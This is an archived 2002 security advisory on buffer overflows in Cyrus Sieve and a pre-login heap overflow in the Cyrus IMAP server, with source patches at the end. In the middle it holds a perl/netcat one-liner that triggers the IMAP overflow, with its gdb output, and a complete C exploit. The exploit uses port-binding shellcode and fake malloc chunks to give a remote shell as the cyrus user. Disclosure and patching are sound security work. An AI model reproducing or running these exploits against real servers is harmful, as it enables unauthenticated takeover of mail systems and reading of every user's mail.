TUCoPS :: Unix :: General :: sb5856.htm

Cyrus Sieve / libSieve / IMAP buffer overflow
3rd Dec 2002 [SBWID-5856]
COMMAND

	Cyrus Sieve / libSieve / IMAP buffer overflow

SYSTEMS AFFECTED

	Versions up to libSieve 2.1.2 and Cyrus IMAP 2.1.10 are affected.

PROBLEM

	In Timo Sirainen [tss@iki.fi] advisories :
	
	
	 Sieve
	 =====
	
	Cyrus' Sieve implementation contains a couple of  classic  string  based
	buffer overflows in script parsing code. Anyone who  can  execute  Sieve
	scripts can exploit these bugs. Versions up to libSieve 2.1.2 and  Cyrus
	IMAP 2.1.10 are affected.
	
	Note  that  with  Cyrus  IMAP  server  exploiting  this  gives  you  the
	privileges of Cyrus user, capable of reading all users mails.
	
	Problem comes when giving the script a >100 chars long corrupted  header
	name, >100 chars long IMAP flag  or  a  script  that  contains  lots  of
	errors to overflow the 500 char limit in error message.
	
	
	 IMAP
	 ====
	
	Cyrus  IMAP  server  has  a  a  remotely  exploitable  pre-login  buffer
	overflow. I checked versions 1.4 (oldest in web page) and  2.1.10  which
	both had it, so apparently all versions are affected.
	
	Problem is that literal lengths aren't verified to be in any  reasonable
	range. The length + 2 is then malloc()ed  and  later  written  into.  So
	given length of 2^32-1, we get  malloc(1)  call  but  ability  to  write
	2^32-1 bytes there.
	
	Note that you don't have to log in before  exploiting  this,  and  since
	Cyrus runs everything under one UID, it's possible to read every  user's
	mail in the system.
	
	I verified that this is exploitable with GLIBC 2.3.1. Probably  possible
	with older glibcs as well although they had somewhat different  malloc()
	code. No idea about other libcs, BSD ones look safe. There could  be  of
	course other ways to exploit it than just malloc headers.
	
	(BTW. Why is it that glibc's malloc implementation is almost begging  to
	be exploited? I don't think it would be that difficult to  create  safer
	implementation  with  internal  structures  in  separate  memory  pages,
	possibly even separated with non-writable page(s)  between.  Could  even
	be faster because of better CPU cache utilization,  and  maybe  made  to
	take less memory.)
	
	There's  several  other  malloc/integer  related  problems  where   it's
	possible to read over 2GB strings from clients into memory accessing  it
	with signed integers, finally wrapping into -2^31. That's  probably  not
	too bad since it can work only with  >2GB  process  limits  (only  64bit
	architectures I'd think) and even then  it  would  quite  likely  access
	only unmapped memory.
	
	Authors were first contacted 30. October, I think it's way past the  fix
	time.
	 
	 semi-exploit
	 ------------
	
	perl -e 'print "x login {4294967295}\r\n\xf0\xef\xff\xbf\x90\xef\xff\xbf\xfc\xff\xff\xff\xfc\xff\xff\xff";'|nc localhost imap2
	<ctrl-c>
	
	The first 4 bytes specify the address where you  want  to  write  to  in
	memory and the next 4 bytes is the data to be written there (must  be  a
	readable memory address). Rest of the bytes  are  overwriting  prev_size
	and size in malloc header. The above values work  with  cyrus21  package
	in Debian unstable/x86. gdb verifies that the call was successful:
	
	Program received signal SIGSEGV, Segmentation fault.
	0xbfffef90 in ?? ()
	(gdb) bt
	#0  0xbfffef90 in ?? ()
	#1  0x400233e9 in prop_dispose () from /usr/lib/libsasl2.so.2
	#2  0x4002ae1a in sasl_setpass () from /usr/lib/libsasl2.so.2
	#3  0x40026cd2 in sasl_dispose () from /usr/lib/libsasl2.so.2
	
	Shouldn't be too hard to come up with a real exploit from there on.
	
	You also need to make one "x logout\n" connection first to  trigger  the
	exploit (Cyrus reuses the processes).
	
	 Update (24 December 2002)
	 ======
	
	From http://packetstorm.decepticons.org archives :
	
	/*  cyrus-imap  exploit . gives uid cyrus					 */
	/*  tested on slack linux 8.0: cyrus-imap 2.1.10 , glibc-2.2.3 ,kernel 2.4.19	 */
	/*  irian@antisocial.com							 */
	/*										 */
	/*  please don't distro . i don't want this crap on any website.		 */
	/*  this is PoC state. it will get better.					 */
	
	#include <stdio.h>
	#include <netdb.h>
	#include <stdlib.h>
	
	char shellcode[]=
	 "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\x52\x50\xcd\x80\x43"
	 "\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1\xb3\x04"
	 "\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52"
	 "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
	
	struct sockaddr_in sck;
	struct hostent *hp;
	long inet;
	int sock;
	char *target[128];
	
	int  openconn(char *target,int port){
	
	  sock = socket (PF_INET, SOCK_STREAM, 0);
	
	  if (!sock)
	    {
	      perror ("socket()");
	      return 0 ;
	    }
	
	  inet = inet_addr (target);
	  if (inet == -1)
	    {
	      if (hp = gethostbyname (target))
		memcpy (&inet, hp->h_addr, 4);
	      else
		inet = -1;
	      if (inet == -1)
		{
		  fprintf (stderr, "can't resolve %s  \n", target);
		  return 0 ;
		}
	    }
	  sck.sin_family = PF_INET;
	  sck.sin_port = htons (port);
	  sck.sin_addr.s_addr = inet;
	
	  if (connect (sock, (struct sockaddr *) &sck, sizeof (sck)) < 0)
	    {
	      perror ("connect() ");
	      return 0;
	    }
	return 1 ;
	
	}
	
	main(int argc,char *argv []){
	
	int port=143;
	char sploit[512];
	char instr[]="x login {4294967295}\r\n"; //2^32
	char readbuf[512];
	
	    memset(sploit,0,sizeof(sploit));
	    memset(readbuf,0,sizeof(readbuf));
	
	    strcpy(sploit,instr);
	    strcat(sploit,"\x04\xf4\x11\x08\x04\xf4\x11\x08"); // fake chunks
	    strcat(sploit,"\xf0\xff\xff\xff\xfc\xff\xff\xff");
	    strcat(sploit,"\x04\xf5\x11\x08\x04\xf5\x11\x08");
	    strcat(sploit,"\xf0\xff\xff\xff\xfc\xff\xff\xff");
	    strcat(sploit,"\x50\xb9\x10\x08\x48\xf6\x11\x08"); // feed it to unlink() macro
			    //^retloc-12    ^shellcode addy    
	    strcat(sploit,"\xeb\x0c\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");
	    strcat(sploit,shellcode);
	    fprintf(stderr,"%d bytes\n",strlen(sploit));
	    if (!openconn("127.0.0.1",port)) exit(-1);
	    fprintf(stderr,"connected. press a key to send the stuff...\n");
	    getchar();
	    write(sock,sploit,strlen(sploit));
	    read(sock,readbuf,511);
	    fprintf(stderr,"%s",readbuf);
	    close(sock);
	    fprintf(stderr,"exploit done. now connect to port 26112\n");
	}
	

SOLUTION

	 fix (unofficial ??)
	 ---
	
	Apply the included patch. Note that this changes only  the  yacc  files,
	you still need to generate .c  files  from  them.  libSieve  2.1.3  will
	hopefully also contain some  more  hardening  against  potential  buffer
	overflows.
	
	diff -ru cyrus-imapd-2.1.10-old/sieve/addr.y cyrus-imapd-2.1.10/sieve/addr.y
	--- cyrus-imapd-2.1.10-old/sieve/addr.y	2002-10-28 18:30:18.000000000 +0200
	+++ cyrus-imapd-2.1.10/sieve/addr.y	2002-12-02 04:52:58.000000000 +0200
	@@ -82,8 +82,9 @@
	 /* copy address error message into buffer provided by sieve parser */
	 int yyerror(char *s)
	 {
	-extern char addrerr[];
	+extern char addrerr[512];
	 
	-    strcpy(addrerr, s);
	+    strncpy(addrerr, s, sizeof(addrerr)-1);
	+    addrerr[sizeof(addrerr)-1] = '\0';
	     return 0;
	 }
	diff -ru cyrus-imapd-2.1.10-old/sieve/sieve.y cyrus-imapd-2.1.10/sieve/sieve.y
	--- cyrus-imapd-2.1.10-old/sieve/sieve.y	2002-05-14 19:51:50.000000000 +0300
	+++ cyrus-imapd-2.1.10/sieve/sieve.y	2002-12-02 03:57:17.000000000 +0200
	@@ -810,7 +810,7 @@
	     addrptr = s;
	     addrerr[0] = '\0';	/* paranoia */
	     if (addrparse()) {
	-	sprintf(errbuf, "address '%s': %s", s, addrerr);
	+	snprintf(errbuf, sizeof(errbuf), "address '%s': %s", s, addrerr);
	 	yyerror(errbuf);
	 	return 0;
	     }
	@@ -835,7 +835,7 @@
	 	   ;  controls, SP, and
	 	   ;  ":". */
	 	if (!((*h >= 33 && *h <= 57) || (*h >= 59 && *h <= 126))) {
	-	    sprintf(errbuf, "header '%s': not a valid header", hdr);
	+	    snprintf(errbuf, sizeof(errbuf), "header '%s': not a valid header", hdr);
	 	    yyerror(errbuf);
	 	    return 0;
	 	}
	@@ -853,14 +853,14 @@
	 	if (strcmp(f, "\\seen") && strcmp(f, "\\answered") &&
	 	    strcmp(f, "\\flagged") && strcmp(f, "\\draft") &&
	 	    strcmp(f, "\\deleted")) {
	-	    sprintf(errbuf, "flag '%s': not a system flag", f);
	+	    snprintf(errbuf, sizeof(errbuf), "flag '%s': not a system flag", f);
	 	    yyerror(errbuf);
	 	    return 0;
	 	}
	 	return 1;
	     }
	     if (!imparse_isatom(f)) {
	-	sprintf(errbuf, "flag '%s': not a valid keyword", f);
	+	snprintf(errbuf, sizeof(errbuf), "flag '%s': not a valid keyword", f);
	 	yyerror(errbuf);
	 	return 0;
	     }
	
	
	
	diff -ru cyrus-imapd-2.1.10-old/imap/imapparse.c cyrus-imapd-2.1.10/imap/imapparse.c
	--- cyrus-imapd-2.1.10-old/imap/imapparse.c	2002-06-24 21:58:41.000000000 +0300
	+++ cyrus-imapd-2.1.10/imap/imapparse.c	2002-11-29 00:20:44.000000000 +0200
	@@ -97,7 +97,7 @@
	 	       struct buf *buf, int type)
	 {
	     int c;
	-    int i;
	+    unsigned int i;
	     unsigned int len = 0;
	     int sawdigit = 0;
	     int isnowait;
	@@ -228,6 +228,16 @@
	 	    if (c != EOF) prot_ungetc(c, pin);
	 	    return EOF;
	 	}
	+	if (len > 65536) {
	+	    if (isnowait) {
	+	        for (i = 0; i < len; i++)
	+	            c = prot_getc(pin);
	+	    }
	+	    prot_printf(pout, "* BAD Literal too large\r\n");
	+	    prot_flush(pout);
	+	    if (c != EOF) prot_ungetc(c, pin);
	+	    return EOF;
	+	}
	 	if (len >= buf->alloc) {
	 	    buf->alloc = len+1;
	 	    buf->s = xrealloc(buf->s, buf->alloc+1);
	

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH